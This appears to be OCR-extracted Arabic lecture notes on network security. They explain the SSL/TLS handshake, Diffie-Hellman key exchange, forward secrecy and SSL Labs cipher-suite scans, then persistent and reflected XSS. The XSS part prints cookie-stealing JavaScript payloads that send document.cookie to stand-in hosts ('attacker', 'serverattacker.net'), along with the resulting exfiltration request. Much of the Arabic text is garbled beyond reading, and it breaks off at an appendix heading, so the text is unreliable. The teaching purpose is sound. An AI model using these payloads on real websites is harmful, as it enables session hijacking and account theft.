Public JI s s£ 5 <Browser JI ] 4 .ol Certificate JI Jlw ;L Web Server Ji p sz 0L & ot oda s
S50 L4 o8 Sl :
.Server Jb okl Key

ook ol Key L)Y Wl s ghdt (3 LIS e Browser JI asdixienw Server’s Public Key JI 1da

.Server Ji | "Pre_Master_Secret Key" dwf o 5Ll

Ol gy 055 Al JI oda.. Server’s Public Key JU i ,;Mj Pre_Master_Secret_Key JI Jl.,| o=

“Client_Key Exchange”
A3 O] (Step 3) Wl & plad| (b Lao Lataliin,
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.Pre_Master_Secret Key |Jrecover jse s il JI L Server’s Private Key JI ..l Server JI o s

£.."Pre_Master_Secret_Key" J!1da L
«ATKey J generate Jax) F3L (3 oAS dedsil w350 Key & “Pre_Master” cas] ;s el s 5ok
Y ) 2 s <Session key Ji s

Phase Ji1ds (3 43618 sl w5 JS3 Libe

SSL Client SSL Server

Internet

Handshake Protocol

Step (2)
Handshake: Server Certificate
-
Handshake: Server Key Exchange (Optional)
-
Handshake: Client Certificate Request (Optional)
-

Handshake: Server Hello Done

A

Source: network baseline blog

Opm A W Jl )l Lal Message J 4 Certificate [ Server JI Jla)l LG

I..(Optional) gl o ¢85 “Server Key_ Exchange”
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e1sU

LW 5 L3 Server JI u@.., (._, Fd wrlw 055 o JUL (RSAkey exchange )Lzl o5 La Server JI OY

Client J1 G b e o0z s o5 kil o

d(.T 1 Client JI }/b;j “Server_Hello_Done” dl.

Certificate JI s s£ I Server JI Llu y L, J 5N Session s

«(Jau snad £5) Server Ji ol Public Key JI (5 52 Lol LY

TLSVL Record Layer: Handshake Protocol: Certificate
Content Type: Handshake (22)
version: TLS 1.0 (0x0301)
Length: 4379

B Handshake Protocol: Certificate

m

Handshake Type: Certificate (11)

Length: 4375

Certificates Length: 4372

Certificates (4372 hytes)
Certificate Length: 1450

# Certificate (id-at-commonname=www3.nethbank.commbank.com.au, id-at-organizati
Certificate Length: 1570

® certificate (id-at-commonname=verisign Class 3 Extended validation SSL SGC
Certificate Length: 1303

B certificate (id-at-commonhame=verisSign Class 3 Public Primary Certification
F signedcertificate

version: v3 (2)

serialNumber : Ox57bffb03fb2c46dd4elSecee0d7437f13

signature (shawithRSAEncryption)

issuer: rdnSequence (0)

validity

subject: rdnsSequence (0)

subjectpublickeyIinfo

# algorithm (rsaencryption)
Padding: 0
IsubjectrPublickey: 308201040282010100AF2408082974359E600CAAE74B3B4E. . .|

Source: network baseline blog

0EBEE #

.Handshake Phase Ji 3 451 5 glad | gz La

(Step 3) &l 5 skt T
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SSL Client SSL Server

Internet =

Handshake Protocol

Step (3)

Handshake: Client Certificate (Optional)
-
Handshake: Client Key Exchange
>
Handshake: Client Certificate Verify (Optional)
&
Change Cipher Spec
Handshake: Client Finished Message
-

Source: network baseline blog

“Pre_Master_Secret_Key” s» 5 o¢-s | “Shared Key” s Server JIs Client JI e 381 521 EAL g s

5 e oS3 Sl

.Lﬁ\ Messages JI s s p2ll Ll o s

-8 5o RSA JI L) o5 &l 5., “Client_Key_Exchange” Ol yon 1 31 DL )1 (Sl 3 ey
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o n2iiy <4l generate | client J! o5& :& <“‘Pre_Master_Secret Key” JI e (g gt Dl N odgd
Server JI 4] al. 3 o5 <Server’s public key I plusculy

«<“Master_Secret_Key” :aewl =1 Key ) & Client Ji Server Ji -y J§ aedsens Key Ji1ia
“Pre_Master_Secret Key” JI |- J;J% RLL«@ Wl = «(One-time 48-byte value) - s )le say
“Client and Server Random values” J

I Gy Al o «dsY! 55kl 3 “Hello Messages” JI +L3T W3Ls o 85 I (» Randoms JI s
.a‘;u.ﬁ\ oda e Cryptographic Hash Algorithms

filenlloda § "Client and Server Random values" Ji J 33 356 Le -SJ

28 B ol 1y sl g B 0555 S sl ada (3 “Salt” JI &, 15 Random i sds
Do J ool e o QU1 IS0l S0 Joa el 3 e il des (3 Salt I 350 (pe W02 Lo 25
.Server Ji 4| Blu,L Client J el gﬂ\

B Secure Socket Layer

F TLSvl Record Layer: Handshake Protocol: Client Key Exchange
Content Type: Handshake (22)
version: TLS 1.0 (0x0301)
Length: 134
F Handshake Protocol: Client Key Exchange
Handshake Type: Client Key Exchange (16)

Length: 130 Source: network baseline blog
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3 Messages J! ob Server JI Cf‘f &l a3y <“Change_Cipher_Spec” Jlu, L &3 dx Client JI o

s JS ) a4y 5SS o5 gl session Key Jl pluseals o,;wi 0 s Al Il oda g_,.:.z....»

| 1S ;s ol (Change Cipher Spec) Ji lia .. 1idad S0

LVl adkes 5,15 G SSL Ul g 53 OIS sl NS 555 41 a1 )

Change Cipher Spec Protocol
Jl Ow &L State JI & (g sa 5 42 5 o5 ‘V.LU‘ \S Application Layer JI (3 Joss J S 550 la

.Current State J! 1| Pending J! ., Server Ji y Client

§..Current J s Pending JI Iials

& k)l o Connection JUL iwsf State JI 0,5 Handshake Phase 1 dl> s JIsb & =2l o
DU ere IS 5500 1ia o5 cMaster Secret Key I 5855 pgiw SN s 3505 (8 s
T .Ukl Connection JI 1d aslasesl oz S Cipher Suite I update foxs p s dbluy .. ogin
.“Change_Cipher_Spec” &L J| dst@; Ladn cd ol Ty . 0

AN IS 550k Bl oz i (Handshake Protocol Ji dawl s Wl,| o Y L ) s B s M

@kl Keys Ji s Algorithms JI ke £l “Client_finished” &l , Jlu b TJJA Client J! o sk Laday s
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“Server_Finished” dl. , ic sz /L@\ “Change_Cipher_Spec” Jl. b ade 5 JU Server JI p s
ks

SSL Client SSL Server

Q o Internet = f

Change Cipher Spec Protocol

Change Cipher Spec

A

Handshake: Server Finished Message

A

Record Protocol

Application Data

A

B
L

Source: network baseline blog

(&7 ol JS& (Application Layer Data) JI J3L5 & Finished Ji L.y elgst da JSC20) (3 gl

¢ LeVL JSEIl g ek g4 “Record Protocol” JI 1dale S35
Jors J5S 5554 s Client JI 5 Server Ji o Application Data JI J& e J 55l d 55 555 40 & =2

1S 55 s Joe T =B 5 IS5 Ll E SLATCP UIG 5o
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Application data

Fragment

Compress 7////4\
Add MAC 7////@

Encrypt

Append SSL
record header <

©\
e

W Fragment Jore o5 Application Layer JI -,» Data JI J S 55 I 1 (,J.w JSl de Bl

.L.,bl J'\}T 1

%

3

JI Key_Block JU s s (.j (ele Message Authentication Code J! &Ls) 5 «lglars

ANNG b ) Lels a2 TAS TCP JI ) el s Packet JI e a0 oI Header

-

~ & & Z - ’:
i LT Cagd Ol dw (s ,#15 0 SSL Protocol Architecture Ji bl ces

-
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SSL SSL Change
Handshake | Cipher Spec ot Aen HTTP
Protocol
Protocol Protocol
SSL Record Protocol
TCP

J515 el o Alerts Jl sds (bl Gy “SSLerelated Alerts” 1 (& ks 565 .. laams] opn el ooy
J 6l & Ul (3 sl o Fatal Alerts oy Alerts JI e ¢ 55 Sa Lo ojf&,iij b s Jilu,
ool sy o

e Loy s

§..Alert Protocol Ji1da 42l 5 b -SJ

unexpected message: An improper message was received.
handshake failure: The sender was unable to negotiate the Cipher Suite.

bad certificate: Areceived certificate was contained a signature that didn’t verify
unsupported certificate: The type of the received certificate is not supported.

certificate expired: A certificate has expired.

I o dedall 3 B Bi) S 55 1 ol s 0E 8 (SSL UV 55 18 gk gl 5 0,55 Ve

.Applications
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Perfect Forward Secrecy (PFS)

Gl Ul o st ol e Ty o5 M VST o st il o = g 2300 13
session key JI L 3 421 (,j (¢ |3 Authentication JI o5 &>~ Handshake JI ilesy JLas¥l Ty
NIENTLY (AT e suad asldsial dzay |y SeSSiON JI odd UL dis G asliseul s gl
Judl 3 e session key JI Jlasl ides Gl o L “key exchange phase” Jl &b g5 .aw ksl
.session keyJ! 4|4 r.l.&._:.n; “server’s private key” J! of s cidaall 00d RSA I el o3 B
SeSSION JI il ye Sannd qadol L ( private key I s ¢ 535 o5 0) &l o2 ccins das s S

Mg ol Al sessions Jl b g2 e @Uo‘;)\ oS o key
Il gl i el Salt JI s o5& pre_master key JI & Wl o5 I Randoms JIdl 4wl

25 0 s Hello messages J1 e L3t Wl SR «Y attacker

o 1,1 private key JI Lo J guad! Ll S35

S i OT ) ol siw 51 5 5020 o5 400 encrypted sessions Ji ey Blis- Y1 wads sty (S5 coni
doldswialy p i Key J s s server Ji b J o i (e San OF 5l g Lar o) 2SI e key I 1k
L Bl YU B 1 Sl eda ity ol

S5 Y «b private key JJ compromise &> O} 415,55 dazay Eo <FOrward Secrecy Ji ¢l La Rey)

.session key JI e 4l
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Ephemeral Diffie-Hellman {f Jusy|
.private key d! e session key JI slzel Cins dais Lo U a5 0F dm s 0V

Lo Canall 2 Lo il (a5 LS| e W U Adenll 024 DH I plitseznly p s

When we use Diffie—Hellman key exchange in SSL, it is only used for deriving a session keys,
the authentication of the server is done by the server’s private key.

The use of Diffie—Hellman key exchange is to use a separate method to derive session key
independent from the server's private key.

Ml iy oY) e g
S B Ll edis 2 5xi 23 s Bs DH I plbenaaly 0ol 53 0L b 255 & L puat]

leag Of (Sebs

N oD o

Blue Mixed Mixed
Sara Bob

C'd\"t:sdr()pcl' (but he cant unmix them!)

Sy sé9 . 999 ©

Blue Red Mixed Mixed Green  Blue
(known to (Secret) (Blue+Red) (Blue+Green) (Secret) (known to
cach other) each other)
Sara b (. Bob
Mixed Bob + Secret Mixed Sara + Secret
(Blue+Green) (Red) (Blue+Red) (Green)
Cryptography
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dodl abails MG LU S e b Oy e 3815I0L Sara 5 Bob o hons

1 LY. eavesdropper

&

USI s ol T ol ey N0 G Jall o 0T 050 2T 050 5l s s gt JS 05k o
s JEa3s e NIM 01 SLesl Bob o5y a1 0,1 et Sara s oo b
PP pey SN o 1 B me e eavesdropper JI Koz ds . “private key” JI s 5l
el

skt o5 I gl 051 e 351 U1 (6T clan U1 ey G b IS sy I3 s
“Public key” JI J22} Mixed i 1is . ogzs IS Mixed JI U3 e

o eavesdropper JI Sz Lay =1 Gkl 1) Mixed JI s dlsl G b S o5k o3
RPRE

ey 55 3 A 101 01 N1 LIE s eavesdropper JI Sz o) Mixed color Ji 1is g I
.ohw\@wéu%j)@kﬁkﬁﬁ

co 1 ksl L OV

0555 Y Gl e el ) Mixed I s & ol (6 -l 001 Bl G b IS 03
Ny 2N GOSN O IV pa s cdplie o Jall s Al

“shared key” ade Uiy . “Key” I i Sl

JLas¥lald e and o o6 L shared key JI 1is & 2o (ys eavesdropper JI Sez s
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00,1 el dlaall oda o o QU1 JSC2I

common number =2

random number =4 randam number=5b
4 Lar
27 =16 P =32

—

72" = 1,048,576 |16°=1,048,576

71 -
npuler Geslliop Ny Clopeiia

The number (1,048,576) is the shared secret.

The numbers (16 and 32) are the public keys.

The random numbers (4 and 5) are the private keys.

The common number (2 in this example) would normally be passed system-to-system as
part of the application’s negotiation.

foda “Ephemeral” dad a5 13\ <Diffie-Hellman Joe 5 S5 L o ud
U5 o o Server JI me s SESSION suy client Jl e oa 3,0 JS 28 O Y Jle e blawL

PFS JI (’J‘@i‘ 322 1da 5 “New Random intgers” L"ST ¢ »d> Secret Colors uuﬂ

Static Diffie-Hellman key exchanges always use the same Diffie-Hellman private keys. So, each
time the same parties do a DH key exchange, they end up with the same shared secret.

When a key exchange uses Ephemeral Diffie-Hellman (DHE), a temporary DH key is generated
for every connection and thus the same key is never used twice. This enables “Forward Secrecy”.

* Note- The perfect forward secrecy offered by (DHE) comes at a price, “more computation”.
The (ECDHE) variants use elliptic curve cryptography to reduce this computational cost.
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?.PFS JI ey Browser Ji i Server JI &1 & a5 <is

LS oS ¢.x>'=z.i\ cipher suite JI &) ¢l Server JL JLasl 5 b e

(' ' https:/ "'WWW-SEE{ @ Page Info - https://www.ssllabs.com/ssltest/analyze.html?d=f5.com [E=NEERT
o B t &

General Media  Permissions  Security

A) FS

Website Identity i ES
Website: www.ssllabs.com
A) FS
Owner: This website does not supply ownership information. 3
Verified by:  Entrust, Inc. ES
) FS
Privacy & History
Have I visited this website prior to today? No
Is this website storing information (cookies) on my Yes
computer?
Have I saved any passwords for this website? No [ View Saved Passwords ]

Technical Details
[ {3~ Connection Encrypted (TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 128 bit keys, TLS 1.2) |

The page you are viewing was encrypted before being transmitted over the Internet.

Encryption makes it difficult for unauthorized people to view information traveling between
computers. It is therefore unlikely that anyone read this page as it traveled across the network.

TLS 1.0 (suites in server-preferred order)

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) ECDH secp284r1 (eq. 7680 bits RSA) FS

= RSA keys are used here for authentication purposes
= ECDHE is for the key exchange

= AES is for the encryption itself

Cryptography
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lagleall paly i gp2l§l &gl

tdal JI1ds 50 b ye Server S ol sl s L
https://www.ssllabs.com/ssltest/index.html
Qualys ssl labs dawsl 5 o )Lzt o5 5L s s

bs.com/ssltest/analyze.html?d=" .com

EJ C'HQSeurth ‘ﬁ‘g 4

sssed on: Mon, 26 Jun 2017 14:16:55 UTC | Hide | Clear cache

Scan Another »

Summary

Overall Rating

A+

Certificate

Protocol Support

Key Exchange

Cipher Strength

100

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here. ‘

Certificate #1: RSA 2048 bits (SHA256withRSA)

— Server Key and Certificate #1
[}
.com
Subject Fingerprint SHA258: 36b1c5041bb7dfd57 04cb08bfd257a45831279f10cfbefb3d3eb376b2c21f45d
Pin SHA256: UIBTL4VnAeBuzITuiJO/KZmStt329alqF JcHKIvEzJI=
S S BT e P | —— | R | A =]

:C:;Jl‘ lda Lgasdy I cipher suite JI o
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=4 Cipher Suites

#TLS 1.2 (suites in server-preferred order) =
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02£) ECDH secp284r1 (eq. 7680 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) ECDH secp284r1 (eq. 7880 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027) ECDH secp384r1 (2q. 7680 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030) ECDH secp284r1 {eq. 7680 bits RSA) FS 256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) ECDH secp384r1 (eq. 7880 bits RSA) FS 256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028) ECDH secp284r1 (eq. 7680 bits RSA) FS 256
TLS_RSA_WITH_AES_128_GCM_SHA256 (0x3c) 128
TLS_RSA_WITH_AES_128_CBC_SHA (0x2%) 128
TLS_RSA_WITH_AES_128_CBC_SHA256 (0x3c) 128
TLS_RSA_WITH_AES_256_GCM_SHA384 (0x3d) 256
TLS_RSA_WITH_AES_256_CBC_SHA (0x35) 256
TLS_RSA_WITH_AES_256_CBC_SHA256 (0x3d) 256
#TLS 1.1 (suites in server-preferred order) =
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) ECDH secp284r1 (eq. 7880 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) ECDH secp284r1 (eq. 7680 bits RSA) FS 256
TLS_RSA_WITH_AES_128_CBC_SHA (0x2% 128
TLS_RSA_WITH_AES_256_CBC_SHA (0x35) 256
#TLS 1.0 (suites in server-preferred order) E']
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) ECDH secp384r1 (eq. 7680 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) ECDH secp284r1 {eq. 7820 bits RSA) FS 256
@ sl w al 2 ;2] B o

PFS JI w5 I cipher suites JI I & o oY1 slas| LaxY
V-p - i &
Protocol Details JU Lol sa s 5 51 10a

Forward Secrecy Jl dols L. ¢l

Cryptography
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lagleall aly & gp2 Il &imsall

:om/ssltest/analyze.html|?d=f5.com

E1 ¢ ‘ ’ Q Search

=l

DROWN

Secure Renegotiation

Secure Client-Initiated Renegotiation
Insecure Client-Initiated Renegotiation
BEAST attack

POODLE (SSLv3)

POODLE (TLS)

Downgrade attack prevention
SSL/TLS compression

RC4

Heartbeat (extension)

Heartbleed (vulnerability)
Ticketbleed (vulnerability)

OpenSSL CCS vuln. (CVE-2014-0224)

OpenSSL Padding Oracle vuin.
(CVE-2016-2107)

No, server keys and hostname not seen elsewhere with SSLv2

(1) For a better understanding of this test, please read this longer explanation
(2) Key usage data kindly provided by the Censys network search engine; original
(3) Censys data is only indicative of possible key and certificate reuse; possibly ou
e

Supported

Yes

No

Not mitigated server-side (more info) TLS 1.0 oxco13
No, SSL 3 not supported (more info)

No (more info)

Yes, TLS_FALLBACK_SCSV supported (more info)
No

No

No

No (more info)

No (more info)

No (more info)

No (more info)

Forward Secrecy

ALPN No
NPN No
Session resumption (caching) Yes
Session resumption (tickets) No
OCSP stapling No
=l e | wwidl &l a8l 20l =il ¢aull ==l
Lok ol inazeld Sl i o) o] Ll sy
Cryptography
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A L BAeeAhis | =l

I A e T | N o =E

silagleall galy dyig 2§l ismall

FireFox A4y BJER cw.i\ PPVRY 63\ C|pher suites JL i )L&Y\ &b Ll

Y S sy o N SR

illabs.com/ssltest{/viewMyClient.htm|

EAle¢ iq Search

SSL3
SSL2

Cipher Suites (in order of preference)
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b) Forward Secrecy
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02£) Forward Sececy
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xccad) Forward Sececy
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8) Fonverd Secrecy
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c) Forward Secrecy
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030) Forward Searecy
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00za) Forward Secrecy
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009) Forward Sececy
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) Forward Secrecy
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) Forwsrd Secrecy
TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x33) Forward Secrecy
TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x39) Forward Sececy
TLS_RSA_WITH_AES_128_CBC_SHA (0x2%)

TLS_RSA_WITH_AES_256_CBC_SHA (0x35)

|TLS_RSA._‘.*‘,'ITH_S'DE‘S_EDE_DEC;SHi‘\l_ a) WEAK

(1) When a browser supports SSL 2, its SSL 2-only suites are shown only on the very first connection to this site. To see the suites, close all browser

128
128
256
256
256
256
256
128
128
256
128
256
128
256

112

TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x39) Forward Seaecy

TLS_RSA_WITH_AES_128_CBC_SHA (0x2%)

TLS_RSA_WITH_AES_256_CBC_SHA (0x35)

| TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xe) WEAK |

(1Y When a browser supports SSL 2, its SSL 2-only suites are shown on

Cryptography
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o o LS Ledie handshake JI il e o3 server JI J] miarll Lgads I cipher suites I a1 <
Jdo LU server JI o ﬁL@jj SSLJIIJ S5

Nims &l Cish ¢4 <Forward Secrecy JI su,Y &1 e Slas

ISl s ) L5 Lt ol el o A1 ) 0 iy O p s

Search: | ssi3

Preference Name ‘ Status Type Value

security.ssl3.rsa_des_ede3 sha

security.ssl3.dhe_rsa_aes_128_sha default boolean true
security.ssl3.dhe_rsa_aes_256_sha default boolean true
security.ssl3.ecdhe_ecdsa_aes_128_gcm_sha256 default boolean true
security.ssl3.ecdhe_ecdsa_aes_128_sha default boolean true
security.ssl3.ecdhe_ecdsa_aes_256_gcm_sha384 default boolean true
security.ssl3.ecdhe_ecdsa_aes_256_sha default boolean true
security.ssl3.ecdhe_ecdsa_chacha20_polyl305_sha256 default boolean true
security.ssl3.ecdhe_rsa_aes_128_gcm_sha256 default boolean true
security.ssl3.ecdhe_rsa_aes_128_sha default boolean true
security.ssl3.ecdhe_rsa_aes_256_gcm_sha384 default boolean true
security.ssl3.ecdhe_rsa_aes_256_sha default boolean true
security.ssl3.ecdhe_rsa_chacha20_poly1305_sha256 default boolean true
security.ssl3.rsa_aes_128_sha default boolean true
security.ssi3.rsa_aes_256_sha default boolean true

VIR gd\ cipher suites JI W ¢a3 SSL3 oSG el Sl ("’ ¢day 2J1 (3 about:config L,Ls o 5%
False w3 LUl wad fox 5,k o anall cipher suite JI s sl o g2d izl

Cryptography
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&»L\yl:m.n \'/\A‘LQ m”.;é‘]m m.n).gﬂ

: 2 2. <
- cipher suite Ji lda ¢ pds 0 uST e [Ty cé.a:i\ sl ssllabs () s 516 0 5 paim OV

el Lasdy I Js1o
a2l cipher suite I gy oo dor ¥ 5 (] oala

TS A A N

e SURY/STEVeEIavASI KEdasen il < PIYIOHSYSAICEAICY R AR

ww.ssllabs.com/ssltest/viewMyClient.html

Cipher Suites (in order of preference)
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b) Forward Sececy
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02£) Forward Sececy
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xccal) Forwsrd Sececy
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccas) Forward Secrecy
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c) Forward Sececy
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030) Forward Sececy
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a) Forward Sececy
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc003) Forward Sececy
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) Forward Secrecy
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) Forwsrd Seaecy
TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x33) Forward Sececy
TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x39) Fonward Sececy
TLS_RSA_WITH_AES_128_CBC_SHA (0x2%)

TLS_RSA_WITH_AES_256_CBC_SHA (0x35)

El| ¢ Q Search

128
128
256
256
256
256
256
128
128
256
128
256
128
256

(1) When a browser supports SSL 2, its SSL 2-only suites are shown only on the very first connection to this site. To see the suites, close all browser

windows, then open this exact page directly. Dont refresh.

Protocol Details

Server Name Indication (SNI) Yes
Secure Renegotiation Yes
TLS compression No
Session tickets Yes

PFS 15,3 10 Lgsl

.

J

<

-

2

LAy

|

3

“Success Algorithms” Ol yny 25 oWl s 35,28 ATAIOY Jamw
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XSS
Attacks

CROSS SITE SCRIPTING

Injection Attacks JI JISL2T e K5 XSS JI fn
Jisl o) dataentry JI T input J1 dus s pasand ool 231 LeT Le injection exploits U1 cas = o o
Lo ’ ol ol ] R p s

.operation Ji el 4as 3 o £ 5l a5 U c’wa i ylall data JI ) e Yot 555

: ks injection attacks Ji Azl -y
SQL injection, DOM injection, & XSS

£.XSS Jidals

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious
JavaScript in another user's browser.
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ﬂiAv%;4§
45,5 5 User J p s (Al Website JI (35 25 Il p i oy lans USEr G171 Attacker J1 e 52, Y
85l ey I user JI ) malicious code JI Joo 5 31b1S #3511 s Attacker J) pdieiy Lo
Lo gt 548 &1 M0 Y 5 w35 s 52 &1 Lo malicious code JI e user JU ol browser Ji Jalaz 5

UL 5 501 s 28 2 UL 5 <"Persistent XSS" JI ya 5 XSS U1 o ¢ 5 J5Y gl i adll 5 Ly

f sl ol Jo1s code JI b inject Jaxy Attacker Jl e 52 25
.“user inputs” J! t\)ﬂ RS gST de g2 @).U ols 15| > &
0 5 s AT 5 I Sl e ks SOTPE e (65 Lo o 3n lomin 41 O 5 i
/ t b | Script Ji lda |4
print "<html>"
print "Last comment:"

print db.lastComment
print "</html>"

S (’j G 2T L Ll (15 50 olidas 2ol Data Base JI ) access Jors p s Script JI i
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T4y ot s 1 1,5Y Script Ji s Attacker J Jxcu, <25
G n3E i 35S0 1 0358 Il psdom Gebas dlns] o Vot 25 515301 aT s Attacker JIiaic
miaall e puniy User Y (5500 oY1 el U 0 o3 25 db™ L) 2ss
35531 Il ] o User (g ol Lo L)
<html>
Latest comment:

<script>...</script>
</html>

wiky 0555 oy 3,50 1ia cmalicious code JI e &5 <Script></Script> Tags JI o I bl

Attacker I J] Wl ) 2 g user JI L iwld| Cookie JI J) J 50 4l

.malicious code ) i vadsl g 35 Lo R A

Cookies JI & 5 1

I ez <input forums JI a1 (3 document.cookie Y| Lodiion 555 ez Attacker JI o5&
il odd gl 5L Lol cookie JI e J sad|

.Keylogging J! 5, ,b e 55 Mol US B W -2

addEventListener .Y elsul; keyboard event listener @f L» attacker JI o5&

Attacker JU ol Server JI 55 5SIL asls ple dluy] o]
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XSS Attack types:

Persistent XSS
where the malicious string originates from the website's database.

Reflected XSS
where the malicious string originates from the victim's request.

DOM-based XSS
where the vulnerability is in the client-side code rather than Server-side code.

Persistent XSS
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POST http://website/post-comment

Website

Attacker
Website's Database

Attacker's Browser <script>...</script> latestComment: <script>window.location="http://attacker/

?cookie="+document.cookie</script>

Attacker's Server > S
Website's Response Script

print "<html>

print "Latest comment:"
print database.latestComment

print "</html>"
n GET http://attacker/?cookie=sensitive-data

GET http://website/latest-comment

Victim's Browser

Website's Response to Victim 200 OK

<html>
Latest comment:

<script>
window.location="http://attacker/?cookie="+document.cookie
<[script>

</htal>

Created by Jakob Kallin and Irene Lobo Valbuena

o= «J) malicious string Jisls e 53] <3 441 3 input forums JI a1 Izl attacker JI esk (1)

.Post method 5, ,b

§..Post method Ji 1dals
Ma pdeig WWW IV J ) il 050 g1 ol V1 58 55 1 &l e HTTP J1 i 35 &1l
éﬁo- “Message based system” JI a5 cserver Ji s clients JI (p Joo! 5l ddose (& <0l ol JsS 5551
el i methods JI g1 - .response ls 530 server JI e sk 5 crequest Jlu L client Ji Led o 52,

.POSth cGth\Qdﬁj&ﬂ\ \.LALV-
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| «(Retrieve a resource) «server JI - 4wa resource Clky client J| psk ke Get JI f3>'£wf
(to perform action) ..Ls ACtion Jas, p 52 Post JI (3.;;“.3

o oo o) o] LT 5T L fOrum ¢ Lo day St send Lo Lo sl 2lals (post JI das) JUs

Get method pluswl oY ¢ad Ul oo inall odin CUlay LA g st User sl p s (2)
Wlsl, attacker Ji o6 I malicious string JI L. 5 da.all Jlu,b victim I Response Josy o35l ¢ 52 (3)

Lhle on g2 s respONse JI (3200 o3 1 B . (45 Y1 8 skl (3 UL saels )
it means that the request was successful, and that the requested resource is being returned.

I geid 555 (408,31 3 5 malicious code JI dui, victim’s browser Ji g 52, (4)
attacker JI =2 Server ] 4lL. |  victim J oI Session cookie
§..Session cookie JI lda Jf s attacker Jf ed it b 5

PR

User JI s dnases Jlowsl o (S &l (gl eVictim JV1is 52 31 Lo 3 500 s s Joladly L o s

XSS Jle & ye IV g5l g )

(o i 55 45 G 0 e 9 i
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Reflected XSS

.U & s the web application hacker’s handbook oS e s L

5. Attacker’s ga—
JavaScript = 2. Attacker feeds crafted URL to user

< .\\
exgcutes i 6. User’s browser sends session token to attacker
user’s browser -

\ -
User Attacker

The steps involved in a reflected XSS attack
“Session Token” JI ls J,Zéj «s5Y) e web applications Ji u~Y Login Jors user Ji o sk (1)

dandl oy Lol
§..Session token JI ldals 5
J.}ﬁ .request-response model JI e sz 5 Stateless protocol ax HTTP JI J S 555 OF b e U S5

“independent transaction” (..i J@J response s request
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Aan user o Lol requests Ji s ks Loy 5 0 52.) mechanism Sl &a,b HTTP JI ey Y JUL
dn 55 Ll ¢35 ASONN ol 201 a5 clogin Jf et & ol e sz 01 25 35 s )l
U S G e 4 Cdle ST il

el w1k 55 aSS

“Session” e la e 3l s el glois cslosdl o s L:ST S

N request IS sl diwo S 35,55 e l0gin JI ides [z SeSSION J1 5 4 5 pde 3 By

?T&l Session Ji e 42k 5 |8

S requests JI &2 xe folry ; cuser JI 1 Session pa; w3 5l g 52 oJ =l Jen USET Jl o 53 Of day
user Ji s 25 el Lo session Jlsda J215 o5

lia s o dol e s ol user J1 s e 4es3 o.ia requests JI il B o Sl S L
“Session Token” JI el o Sl

§..Token J!I1da | &

JI 1 Ty Letie 5 (Token i Session ID s  Jl 5o o3 o5lae] o ¢35l no SESSION (i, USET J&
Lo o crequest JI 3 1D JV i ey p i (5 5 Gt sV T dyir request JLa,L user

user Ji i oo 3l oS o5 cald AU request JI s Lay ope 3
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3 555 05 ade Laxas victim Jl alel gla, “message error” s> 5,5 Jlw,b La Attacker JI p 53 (2)
G GBh 02 4 c £ 2 ;. £ 2

wuser J el e Jle lda oline

Session ID JI i cookie JI ws k! & Juu 3 0L w3541 pe victim JI allas request oo &)ke 55U s
: u\s -attacker J oUkIserver Ji ) aby 52 o2 5 cay ol

http://website.net/error/5/Error.ashx?message=<script>var+i=new+Image;
+i.src="http://serverattacker.net/”%2bdocument.cookie;</script>

STl request JI Jlu b user Ji T, (3)
.ad) session ID JI JLu, b victim JF Le s Jb <3 5l o 52 (4)

: LWt javascript code JI Ja victim’s browser Jifag (5)

<script>var+i=new+Image;+i.src="http://serverattacker.net/”%$2bdocument
.cookie;</script>
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cattacker JU ol server JI ] request Los 55 b e Attacker JI ) Session ID Jivictim JI' Ju 5 (6)
victim JL is\d-| Session Token JI a2z request JI i

rrequest JIHad s L

session id J! >V

GET /sessId=184a9138ed37374201a4c9672362£f12459¢c2a652491a3 HTTP/1.1
Host: serverattacker.net

Victim J) deased Sloei B e Jolazy 5 session id Jl s attacker JI pdscay (7)

Appendix (B)

Spine & Leaf Architecture Vs Traditional Data
Center Architecture
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JI L ) 255 e Distributed Cloud Ji s «Cloud Computing Ji Virtualization Ji Lo ) »S5 Lass! -
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R

[ Core

